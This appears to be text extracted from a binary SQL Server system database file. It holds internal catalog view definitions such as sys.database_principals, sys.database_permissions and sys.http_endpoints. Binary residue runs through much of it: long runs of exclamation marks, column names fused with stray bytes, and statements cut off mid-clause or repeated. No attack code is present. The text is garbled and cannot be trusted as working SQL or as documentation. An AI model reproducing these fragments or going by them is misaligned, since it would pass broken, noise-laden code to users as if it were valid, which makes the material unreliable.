	LEFT JOIN sys.syspalvalues i ON i.class = 'ASPS' AND i.value = s.intprop
	WHERE s.class = 10
		AND has_access('AS', s.id) = 1	-- SOC_ASSEMBLY
		
0X@ 8CREATE VIEW sys.assembly_types AS
	SELECT t.name,
		t.xtype AS system_type_id,
		t.id AS user_type_id,
		t.schid AS schema_id,
		pr.indepid AS principal_id,
		t.length AS max_length,
		t.prec AS precision,
		t.scale,
		convert(sysname, collationpropertyfromid(t.collationid, 'name')) AS collation_name,
		sysconv(bit, 1 - (t.status & 1)) AS is_nullable,	-- COL80_NOTNULL
		sysconv(bit, case when t.id > 256 then 1 else 0 end) AS is_user_defined, 	-- x_utypSSNAME
		sysconv(bit, 1) AS is_assembly_type,
		sysconv(int, 0) AS default_object_id,
		sysconv(int, 0) AS rule_object_id,
		r.indepid AS assembly_id,
		convert(sysname, v.name) collate Latin1_General_BIN AS assembly_class,
		sysconv(bit, typepropertyex(t.id,'is_binary_ordered')) AS is_binary_ordered,
		sysconv(bit, typepropertyex(t.id,'is_fixed_length')) AS is_fixed_length,
		convert(nvarchar(40), typepropertyex(t.id,'prog_id')) AS prog_id,
		convert(nvarchar(4000), typepropertyex(t.id,'assembly_qualified_name')) collate Latin1_General_BIN AS assembly_qualified_name,
		sysconv(bit, 0) AS is_table_type
	FROM sys.sysscalartypes t
	JOIN sys.syssingleobjrefs r ON r.depid = t.id AND r.class = 38 AND r.depsubid = 0	-- SRC_TYPETOASM
	LEFT JOIN sys.syssingleobjrefs pr ON pr.depid = t.id AND pr.class = 44 AND pr.depsubid = 0	-- SRC_TYPETOOWNER
	LEFT JOIN sys.sysbinsubobjs v ON v.class = 11 AND v.idmajor = r.indepid AND v.subid = t.id  	-- SOC_ASSEMBLY_TYPE
	WHERE has_access('UT', t.id) = 1
0W@ "8CREATE VIEW sys.schemas AS
	SELECT s.name, schema_id = s.id,
		principal_id = r.indepid
	FROM sys.sysclsobjs s
	LEFT JOIN sys.syssingleobjrefs r ON r.depid = s.id AND r.class = 50 AND r.depsubid = 0 -- SRC_SCHEMAOWNER
	WHERE s.class = 50	-- SOC_SCHEMA
0V@ O8CREATE VIEW sys.database_principals AS
	SELECT u.name,
		u.id AS principal_id,
		u.type,
		n.name AS type_desc,
		u.dfltsch AS default_schema_name,
		u.created AS create_date,
		u.modified AS modify_date,
		r.indepid AS owning_principal_id,
		u.sid,
		sysconv(bit, case when u.id >= 16384 and u.id < 16400 then 1 else 0 end) AS is_fixed_role,
		u.authentication_type,
		aty.name AS authentication_type_desc,
		u.deflanguage as default_language_name,
		l.lcid as default_language_lcid
	FROM (
		SELECT *,
			CASE 
				-- Guest is always authentication type none
				WHEN type = 'S' AND id = 2 THEN 0
				-- Users without password and without SQL SID prefix are instance auth
				WHEN type = 'S' AND password IS NULL AND cast(sid as binary(9)) <> 0x010500000000000903 THEN 1
				-- Users with passwords are database auth
				WHEN type = 'S' AND password IS NOT NULL THEN 2
				-- Windows users are always windows auth
				WHEN type = 'U' OR type = 'G' THEN 3
				-- Users without passwords, certificate, key users, etc. have no authentication type
				ELSE 0
			END AS authentication_type
		FROM sys.sysowners) u
	LEFT JOIN sys.syssingleobjrefs r ON r.depid = u.id AND r.class = 51 AND r.depsubid = 0	-- SRC_ROLEOWNER
	LEFT JOIN sys.syspalnames n ON n.class = 'USTY' AND n.value = u.type
	LEFT JOIN sys.syspalnames aty ON aty.class = 'DBAT' AND aty.value = u.authentication_type
	LEFT JOIN sys.syslanguages l ON u.deflanguage COLLATE catalog_default = l.name COLLATE catalog_default
	WHERE u.type <> 'L'
		AND has_access('US', u.id) = 1	-- PR_ALIAS
0T@ #8CREATE VIEW sys.database_role_members AS
	SELECT indepid AS role_principal_id,
		depid AS member_principal_id
	FROM sys.sysmultiobjrefs
	WHERE class = 25 AND depsubid = 0 AND indepsubid = 0
		AND has_access('RL', depid, indepid) = 1	-- MRC_DBROLEMEMBER
0S@ 8 CREATE VIEW sys.database_permissions AS
	SELECT p.class,
		class_desc = n.name,
		major_id = p.id,
		minor_id = p.subid,
		grantee_principal_id = p.grantee,
		grantor_principal_id = p.grantor,
		p.type,
		permission_name = permission_name(p.class, p.type),
		p.state,
		state_desc = s.name
	FROM sys.sysprivs p
	LEFT JOIN sys.syspalvalues n ON n.class = 'UNCL' AND n.value = p.class
	LEFT JOIN sys.syspalnames s ON s.class = 'PRST' AND s.value = p.state
	WHERE (p.state <> 'R' OR p.subid <> 0) AND p.class < 100
		AND (has_access('US', p.grantee, p.grantor) = 1 OR has_access('CT', p.class, p.id) = 1)
 = 1 	-- SVC_OBJASMENTRY,ASMENTRY_CLASS
	LEFT JOIN sys.sysobjvalues m ON m.valclass = 11 AND m.objid = o.id AND m.subobjid = 0 AND m.valnum = 2 	-- SVC_OBJASMENTRY,ASMENTRY_METHOD
	LEFT JOIN sys.syssingleobjrefs x ON x.depid = o.id AND x.class = 22 AND x.depsubid = 0	-- SRC_OBJEXECASOWNER
	WHERE o.pclass <> 100	-- x_eunc_Server
		AND type IN ('AF','PC','FS','FT','TA')
		AND has_access('SQ', o.id, o.pid, o.nsclass) = 1
0[@ a8CREATE VIEW sys.service_queues AS
	SELECT o.name, o.object_id, o.principal_id, o.schema_id, o.parent_object_id,
		o.type, o.type_desc, o.create_date, o.modify_date,
		o.is_ms_shipped, o.is_published, o.is_schema_published,
		convert(smallint, o.property) AS max_readers,
		convert(nvarchar(776), v.value) COLLATE catalog_default AS activation_procedure,
		e.indepid AS execute_as_principal_id,
		o.is_activation_enabled, o.is_receive_enabled, o.is_enqueue_enabled,
		o.is_retention_enabled, o.is_poison_message_handling_enabled
	FROM sys.objects$ o
	LEFT JOIN sys.sysobjvalues v ON v.valclass = 12 AND v.objid = o.object_id AND v.subobjid = 0 AND v.valnum = 0	-- SVC_QUEUEACTIVPROC
	LEFT JOIN sys.syssingleobjrefs e ON e.depid = o.object_id AND e.class = 22 AND e.depsubid = 0 -- SRC_OBJEXECASOWNER
	WHERE o.type = 'SQ'
0W@ "8CREATE VIEW sys.schemas AS
	SELECT s.name, schema_id = s.id,
		principal_id = r.indepid
	FROM sys.sysclsobjs s
	LEFT JOIN sys.syssingleobjrefs r ON r.depid = s.id AND r.class = 50 AND r.depsubid = 0 -- SRC_SCHEMAOWNER
	WHERE s.class = 50	-- SOC_SCHEMA
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!c
(K>`	<=
<^]0@ 8CREATE VIEW sys.server_events AS
	SELECT ee.object_id AS object_id,
		ee.event_id AS type,
		ee.event_desc AS type_desc,
		sysconv(bit, 71 - e.valclass) AS is_trigger_event,
		ee.group_id AS event_group_type,
		ee.group_desc AS event_group_type_desc
	FROM master.sys.sysobjvalues e
	CROSS APPLY openrowset( TABLE EXPAND_EVENTS, e.objid, e.subobjid,
	       case when (e.valclass = 70 AND convert(int, e.value) & 4 != 4) OR e.valclass = 71  -- is user created trigger? 
			then 1 else 0 end) ee
	WHERE e.valclass in (70,71) AND e.valnum = 100	-- x_eunc_Server
		AND has_access('CO', e.objid) = 1	-- SVC_EXTTRIGEVT, SVC_ASYNTRGEVT
0 8CREATE VIEW sys.server_event_notifications AS
	SELECT o.name,
		object_id = o.id,
		parent_class = o.pclass,
		parent_class_desc = pc.name,
		parent_id = o.pid,
		create_date = o.created,
		modify_date = o.modified,
		service_name = convert(nvarchar(256), v.value) COLLATE Latin1_General_BIN,
		broker_instance = convert(sysname, b.value) COLLATE Latin1_General_BIN,
		creator_sid = convert(varbinary(85), cs.value),
		principal_id = r.indepid
	FROM master.sys.sysschobjs o
	LEFT JOIN sys.sysobjvalues v ON v.valclass = 72 AND v.objid = o.id AND v.subobjid = 0 AND v.valnum = 0		-- SVC_ASYNTRGSVCNAME
	LEFT JOIN sys.sysobjvalues b ON b.valclass = 74 AND b.objid = o.id AND b.subobjid = 0 AND b.valnum = 0		-- SVC_ASYNTRGBRKRINST
	LEFT JOIN sys.sysobjvalues cs ON cs.valclass = 75 AND cs.objid = o.id AND cs.subobjid = 0 AND cs.valnum = 0	-- SVC_ASYNTRGCTRSID
	LEFT JOIN sys.syssingleobjrefs r ON r.depid = o.id AND r.class = 98 AND r.depsubid = 0	-- SRC_OBJLOGIN
	LEFT JOIN sys.syspalvalues pc ON pc.class = 'UNCL' AND pc.value = o.pclass
	WHERE o.type = 'EN' AND o.nsclass = 30 AND o.pclass = 100	-- x_eonc_EvtNotifOnServer:x_eunc_Server
		AND has_access('TR', o.id, o.pid, o.nsclass) = 1
0i@ 38CREATE VIEW sys.syscolumns$ AS
	SELECT name, id, xtype,
		typestat = convert(tinyint, status & 3), -- (1-is_nullable) + is_ansi_padded * 2
		xusertype = convert(smallint, utype),
		length, xprec = prec,
		xscale = scale,
		colid = convert(smallint, colid),
		xoffset = convert(smallint, 0),
		bitpos = convert(tinyint, 0),
		reserved = convert(tinyint, 0),
		colstat = convert(smallint, (status & 512)/128 + (status & 1024)/32), -- is_output*4 + is_cursor_ref*32
		cdefault = dflt,
		domain = chk,
		number = convert(smallint, case number when 1 then 1 - objectproperty(id, 'isscalarfunction') else number end),
		colorder = convert(smallint, colid),
		autoval = convert(varbinary(8000), null),
		offset  = convert(smallint, 0),
		collationid = columnproperty(id, name, 'collationid'),
		language = convert(int, 0),
		status = convert(tinyint, (status & 2 + 1 - (status & 1))*8 + (status & 512)/8), -- is_nullable*8 + is_ansi_padded*16 + is_output*64 (parameter)
		type = xtypetotds(xtype, 1 - (status & 1)),	-- is_nullable
		usertype = convert(smallint, columnproperty(id, name, 'oldusertype')),
		printfmt = convert(varchar(255), null),
		prec = convert(smallint, case when xtype in (34, 35, 99) then null	-- ntext, image, text
				when xtype = 36 then prec	-- uniqueidentifier
				when length = -1 then -1	-- new style large objects
				else odbcprec(xtype, length, prec) end),
		scale = odbcscale(xtype, scale),
		iscomputed = convert(int, 0),
		isoutparam = convert(int, (status & 512)/512),	-- is_output
		isnullable = convert(int, 1 - (status & 1)),	-- is_nullable
		collation = convert(sysname, columnpropertyex(id, name, 'collation')),
		tdscollation = convert(binary(5), columnpropertyex(id, name, 'tdscollation'))
	FROM sys.syscolpars
	WHERE (status & 4096) = 4096
0j@ 8CREATE VIEW sys.system_parameters$ AS
	SELECT id AS object_id,
		number,
		name collate catalog_default AS name,
		colid AS parameter_id,
		xtype AS system_type_id,
		utype AS user_type_id,
		length AS max_length,
		prec AS precision, scale,
		sysconv(bit, status & 512) AS is_output,
		sysconv(bit, status & 1024) AS is_cursor_ref,
		sysconv(bit, 0) AS has_default_value,
		sysconv(bit, 0) AS is_xml_document,
		convert(sql_variant, null) AS default_value,
		sysconv(int, 0) AS xml_collection_id,
		sysconv(bit, 0) AS is_readonly
	FROM sys.syscolpars
	WHERE number > 0 AND (status & 4096) = 4096
0@ 8CREATE VIEW sys.messages AS
	SELECT id AS message_id,
		msglangid AS language_id,
		convert(tinyint, severity) AS severity,
		sysconv(bit, status & 128) AS is_event_logged,	-- MSG80_EVENTLOG
		text
	FROM master.sys.sysusermsgs
	WHERE id > 50000	-- x_MDMessageIdUsrFmt
	UNION ALL
	SELECT message_id,
		language_id,
		severity,
		is_event_logged,
		text
	FROM OpenRowset(TABLE SYSERRORS)
0@ 8CREATE VIEW sys.endpoints AS
	SELECT
		e.name, e.id AS endpoint_id,
		o.indepid AS principal_id,
		e.protocol, p.name AS protocol_desc,
		e.type, t.name AS type_desc,
		state = convert(tinyint, bstat & 3),	-- BSTAT_STATEMASK
		s.name AS state_desc,
		sysconv(bit, case when e.affinity = -1 then 1 else 0 end) AS is_admin_endpoint
	FROM master.sys.sysendpts e
	LEFT JOIN sys.syssingleobjrefs o ON o.depid = e.id AND o.class = 60 AND o.depsubid = 0	-- SRC_ENDPTLOGINOWNER
	LEFT JOIN sys.syspalvalues p ON p.class = 'EPPR' AND p.value = e.protocol
	LEFT JOIN sys.syspalvalues t ON t.class = 'EPTY' AND t.value = e.type
	LEFT JOIN sys.syspalvalues s ON s.class = 'EPST' AND s.value = e.bstat & 3
	WHERE has_access('HE', e.id) = 1
0@ 8CREATE VIEW sys.http_endpoints AS
	SELECT e.name, e.id AS endpoint_id,
		o.indepid AS principal_id,
		e.protocol, p.name AS protocol_desc,
		e.type, t.name AS type_desc,
		convert(tinyint, e.bstat & 3) AS state,	-- BSTAT_STATEMASK
		s.name AS state_desc,
		sysconv(bit, case when e.affinity = -1 then 1 else 0 end) AS is_admin_endpoint, 
		e.site,
		convert(nvarchar(4000), v.value) collate Latin1_General_CI_AS_KS_WS AS url_path,
		sysconv(bit, e.pstat & 1) AS is_clear_port_enabled,		-- PSTAT_HTTP_CLEARPORT
		e.port1 AS clear_port,
		sysconv(bit, e.pstat & 2) AS is_ssl_port_enabled,		-- PSTAT_HTTP_SSLPORT
		e.port2 AS ssl_port,
		sysconv(bit, 0) AS is_anonymous_enabled,				-- is_anonymous_enabled is always zero.
		sysconv(bit, e.pstat & 8) AS is_basic_auth_enabled,		-- PSTAT_HTTP_BASICAUTH
		sysconv(bit, e.pstat & 16) AS is_digest_auth_enabled,		-- PSTAT_HTTP_DIGESTAUTH
		sysconv(bit, (e.pstat & (32|64))) AS is_kerberos_auth_enabled,	-- PSTAT_HTTP_INTEGAUTH | PSTAT_HTTP_KERBEROS
		sysconv(bit, (e.pstat & (32|256))) AS is_ntlm_auth_enabled,	-- PSTAT_HTTP_INTEGAUTH |PSTAT_HTTP_NTLM
		sysconv(bit, case when (e.pstat & 32) <> 0 or (e.pstat & 320)=320 then 1 else 0 end) AS is_integrated_auth_enabled,	-- PSTAT_HTTP_INTEGAUTH | (PSTAT_HTTP_KERBEROS & PSTAT_HTTP_NTLM)
		e.authrealm AS authorization_realm,
		e.dfltdm AS default_logon_domain,
		sysconv(bit, e.pstat & 128) AS is_compression_enabled 		-- PSTAT_HTTP_COMPRESS
	FROM master.sys.sysendpts e
	LEFT JOIN sys.syssingleobjrefs o ON o.depid = e.id AND o.class = 60 AND o.depsubid = 0	-- SRC_ENDPTLOGINOWNER
	LEFT JOIN sys.sysobjvalues v ON v.valclass = 46 AND v.objid = e.id AND v.subobjid = 0 AND v.valnum = 1	-- SVC_EP_PROPS
	LEFT JOIN sys.syspalvalues p ON p.class = 'EPPR' AND p.value = e.protocol
	LEFT JOIN sys.syspalvalues t ON t.class = 'EPTY' AND t.value = e.type
	LEFT JOIN sys.syspalvalues s ON s.class = 'EPST' AND s.value = e.bstat & 3
	WHERE e.protocol = 1
		AND has_access('HE', e.id) = 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!GL`-)/(vM0-i=name0-i88
Gobject_id0-i88
Mprincipal_id0-i88
Gschema_id0-i88
Uparent_object_id0-i=type0-ixxGtype_desc0-i==Kcreate_date0-i	==Kmodify_date0-i
hhOis_ms_shipped0-ihhMis_published0-ihh[is_schema_published0-i
hhKis_disabled0-ihhais_not_for_replication0-ihhQis_not_trusted0-i88
Uparent_column_id0-i@Idefinition0-ihhcuses_database_collation0-ihhSis_system_named!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!|36Q
x1`-:)L
@m<>0-,88
Gobject_id0-,88
Mprincipal_id0-,88
Gschema_id0-,88
Uparent_object_id0-,=type0-,xxGtype_desc0-,==Kcreate_date0-,	==Kmodify_date0-,
hhOis_ms_shipped0-,hhMis_published0-,hh[is_schema_published0-,
00Ointernal_type0-,xxYinternal_type_desc0-,88
Gparent_id0-,88
Sparent_minor_id0-,88
Wlob_data_space_id0-,88
efilestream_data_space_id0--=name0--88
Qcertificate_id0--88
Mprincipal_id0--cpvt_key_encryption_type0--xxmpvt_key_encryption_type_desc0--hhiis_active_for_begin_dialog0--ttKissuer_name0--Ycert_serial_number0--	UU;sid0--
Istring_sid0--@@Csubject0--==Kexpiry_date0--
==Istart_date0--  Ithumbprint0--Kattested_by0--==epvt_key_last_backup_date0-0=name0-088
Mprincipal_id0-088
Usymmetric_key_id0-088
Ikey_length0-0Okey_algorithm0-0xxQalgorithm_desc0-0==Kcreate_date0-0==Kmodify_date0-0	$$Ekey_guid0-0
bbPPQkey_thumbprint0-0xxOprovider_type0-0$$kcryptographic_provider_guid0-0
bbPPmcryptographic_provider_algid0-/88
Akey_id0-/  Ithumbprint0-/Icrypt_type0-/xxScrypt_type_desc0-/@Qcrypt_property0-.00?class0-.xxIclass_desc0-.88
Emajor_id0-.  Ithumbprint0-.Icrypt_type0-.xxScrypt_type_desc0-.@Qcrypt_property88
Mprincipal_id0-3[remote_service_name0-3Sbroker_instance0-3==Elifetime0-3Caddress0-3Qmirror_address0-2$$[conversation_handle0-2Sto_service_name0-2Yto_broker_instance0-2Wfrom_service_name0-2_service_contract_name0-2==Menqueue_time0-2cmessage_sequence_number0-2Wmessage_type_name0-2	hh_is_conversation_error0-2
hhUis_end_of_dialog0-2@Mmessage_body0-2@@[transmission_status0-2
00Epriority0--=name0--88
Qcertificate_id0--88
Mprincipal_id0--cpvt_key_encryption_type0--xxmpvt_key_encryption_type_desc0--hhiis_active_for_begin_dialog0--ttKissuer_name0--Ycert_serial_number0--	UU;sid0--
Istring_sid0--@@Csubject0--==Kexpiry_date0--
==Istart_date0--  Ithumbprint0--Kattested_by0--==epvt_key_last_backup_date0-0=name0-088
Mprincipal_id0-088
Usymmetric_key_id0-088
Ikey_length0-0Okey_algorithm0-0xxQalgorithm_desc0-0==Kcreate_daY

N
	
s"5

PS
|=F
		i		WJz-:IF_;`-D)	F8\Cr&0-c=name0-c88
Gobject_id0-c00Mparent_class0-cxxWparent_class_desc0-c88
Gparent_id0-c==Kcreate_date0-c==Kmodify_date0-cMservice_name0-c	Sbroker_instance0-c
UUKcreator_sid0-c88
Mprincipal_id0-d=name0-d88
Gobject_id0-d00Mparent_class0-dxxWparent_class_desc0-d88
Gparent_id0-d=type0-dxxGtype_desc0-d==Kcreate_date0-d	==Kmodify_date0-d
hhOis_ms_shipped0-dhhKis_disabled0-dhhais_not_for_replication0-d
hh_is_instead_of_trigger0-e=name0-e88
Gobject_id0-e88
Mprincipal_id0-e88
Gschema_id0-e88
Uparent_object_id0-e=type0-exxGtype_desc0-e==Kcreate_date0-e	==Kmodify_date0-e
hhOis_ms_shipped0-ehhMis_published0-ehh[is_schema_published0-e
hhUis_auto_executed0-ehhcis_execution_replicated0-ehhgis_repl_serializable_only0-ehhaskips_repl_constraints0-f88
]constraint_object_id0-f88
]constraint_column_id0-f88
Uparent_object_id0-f88
Uparent_column_id0-f88
]referenced_object_id0-f88
]referenced_column_id0-g=name0-g88
Gobject_id0-g88
Mprincipal_id0-g88
Gschema_id0-g88
Uparent_object_id0-g=type0-gxxGtype_desc0-g==Kcreate_date0-g	==Kmodify_date0-g
hhOis_ms_shipped0-ghhMis_published0-ghh[is_schema_published0-g
88
]referenced_object_id0-g88
Mkey_index_id0-ghhKis_disabled0-ghhais_not_for_replication0-ghhQis_not_trusted0-g00gdelete_referential_action0-gxxqdelete_referential_action_desc0-g00gupdate_referential_action0-gxxqupdate_referential_action_desc0-ghhSis_system_named!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!q(pwr#F	m ?

8
~S

V

	q	*	Q!u&In!Pe1`-d)8
n0-Y=name0-Y00Qsystem_type_id0-Y88
Muser_type_id0-Y88
Gschema_id0-Y88
Mprincipal_id0-Y44Imax_length0-Y00Gprecision0-Y00?scale0-Y	Qcollation_name0-Y
hhKis_nullable0-YhhSis_user_defined0-YhhUis_assembly_type0-Y
88
Wdefault_object_id0-Y88
Qrule_object_id0-YhhOis_table_type0-Z00?class0-ZxxIclass_desc0-Z88
Gobject_id0-Z88
Gcolumn_id0-Z88
[referenced_major_id0-Z88
[referenced_minor_id0-ZhhKis_selected0-ZhhIis_updated0-Z	hhOis_select_all0-]88
Gobject_id0-]44Uprocedure_number0-]=name0-]88
Mparameter_id0-]00Qsystem_type_id0-]88
Muser_type_id0-]44Imax_length0-]00Gprecision0-]	00?scale0-]
hhGis_output0-]hhOis_cursor_ref0-^88
Gobject_id0-^44Uprocedure_number0-^@Idefinition0-_88
Gobject_id0-_88
Kassembly_id0-_Qassembly_class0-_Sassembly_method0-_hhYnull_on_null_input0-_88
cexecute_as_principal_id0-`88
Gobject_id0-`@Idefinition0-`hhSuses_ansi_nulls0-`hhauses_quoted_identifier0-`hhSis_schema_bound0-`hhcuses_database_collation0-`hhOis_recompiled0-`hhYnull_on_null_input0-`	88
cexecute_as_principal_id0-a88
Gobject_id0-a88
=type0-aGtype_desc0-ahhEis_first0-ahhCis_last0-a88
Uevent_group_type0-a_event_group_type_desc0-ahhUis_trigger_event0-b88
Gobject_id0-b88
=type0-bGtype_desc0-bhhUis_trigger_event0-b88
Uevent_group_type0-b_event_group_type_desc0-[=name0-[88
Gobject_id0-[88
Mprincipal_id0-[88
Gschema_id0-[88
Uparent_object_id0-[=type0-[xxGtype_desc0-[==Kcreate_date0-[	==Kmodify_date0-[
hhOis_ms_shipped0-[hhMis_published0-[hh[is_schema_published0-[
44Kmax_readers0-[]activation_procedure0-[88
cexecute_as_principal_id0-[hh_is_activation_enabled0-[hhYis_receive_enabled0-[hhYis_enqueue_enabled0-[hh]is_retention_enabled0-[hhyis_poison_message_handling_enabled0-\=name0-\88
Gobject_id0-\88
Mprincipal_id0-\88
Gschema_id0-\88
Uparent_object_id0-\=type0-\xxGtype_desc0-\==Kcreate_date0-\	==Kmodify_date0-\
hhOis_ms_shipped0-\hhMis_published0-\hh[is_schema_published0-\
Ubase_object_name!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!^	m05X*k

%
y(M

b

		L	a$PiEj-WF;Dg*A9Ja9:_;`-H)\


r0-I88
[partition_scheme_id0-I88
Qdestination_id0-I88
Odata_space_id0-J=name0-J88
Odata_space_id0-J=type0-JxxGtype_desc0-JhhIis_default0-JhhGis_system0-J88
Kfunction_id0-K=name0-K88
Odata_space_id0-K=type0-KxxGtype_desc0-KhhIis_default0-KhhGis_system0-K$$Qfilegroup_guid0-K88
Ulog_filegroup_id0-K	hhMis_read_only0-L=name0-L88
Odata_space_id0-L=type0-LxxGtype_desc0-LhhIis_default0-LhhGis_system0-M88
Kfunction_id0-M88
Kboundary_id0-M88
Mparameter_id0-MbbPP?value0-N88
Kfunction_id0-N88
Mparameter_id0-N00Qsystem_type_id0-N44Imax_length0-N00Gprecision0-N00?scale0-NQcollation_name0-N88
Muser_type_id0-O=name0-O88
Kfunction_id0-O=type0-OxxGtype_desc0-O88
Afanout0-Ohhcboundary_value_on_right0-OhhGis_system0-O==Kcreate_date0-O	==Kmodify_date0-P88
Kassembly_id0-P88
areferenced_assembly_id0-Q88
Kassembly_id0-Q=name0-Q88
Cfile_id0-Q@Ccontent0-R=name0-R88
Mprincipal_id0-R88
Kassembly_id0-R@@Eclr_name0-R00Qpermission_set0-Rxx[permission_set_desc0-RhhIis_visible0-R==Kcreate_date0-R	==Kmodify_date0-R
hhSis_user_defined0-S00?class0-SxxIclass_desc0-S88
Emajor_id0-S88
Eminor_id0-S88
]grantee_principal_id0-S88
]grantor_principal_id0-S=type0-SSpermission_name0-S	?state0-S
xxIstate_deschhSis_user_defined0-XhhUis_assembly_type0-X
88
Wdefault_object_id0-X88
Qrule_object_id0-X88
Kassembly_id0-XQassembly_class0-XhhWis_binary_ordered0-XhhSis_fixed_length0-XPPCprog_id0-X@@cassembly_qualified_name0-XhhOis_table_type0-W=name0-W88
Gschema_id0-W88
Mprincipal_id0-V=name0-V88
Mprincipal_id0-V=type0-VxxGtype_desc0-V[default_schema_name0-V==Kcreate_date0-V==Kmodify_date0-V88
[owning_principal_id0-V	UU;sid0-V
hhOis_fixed_role0-V88
[authentication_type0-Vxxeauthentication_type_desc0-V
_default_language_name0-V88
_default_language_lcid0-T88
Wrole_principal_id0-T88
[member_principal_id0-S00?class0-SxxIclass_desc0-S88
Emajor_id/Rm0i
Je9Bo0GR
u8u*
~
3
>y.

S

		3	\y2e7VFk$[`-H)>	2;"u0-4=name0-88
Kendpoint_id0-88
Mprincipal_id0-00Eprotocol0-xxOprotocol_desc0-00=type0-xxGtype_desc0-00?state0-	xxIstate_desc0-
hhWis_admin_endpoint0-88
Imessage_id0-44Klanguage_id0-00Eseverity0-hhSis_event_logged0-4=text0- 88
Uconfiguration_id0- F4F=name0- bbPP?value0- bbPPCminimum0- bbPPCmaximum0- bbPPMvalue_in_use0- 4Kdescription0- hhIis_dynamic0- 	hhKis_advanced0-$88
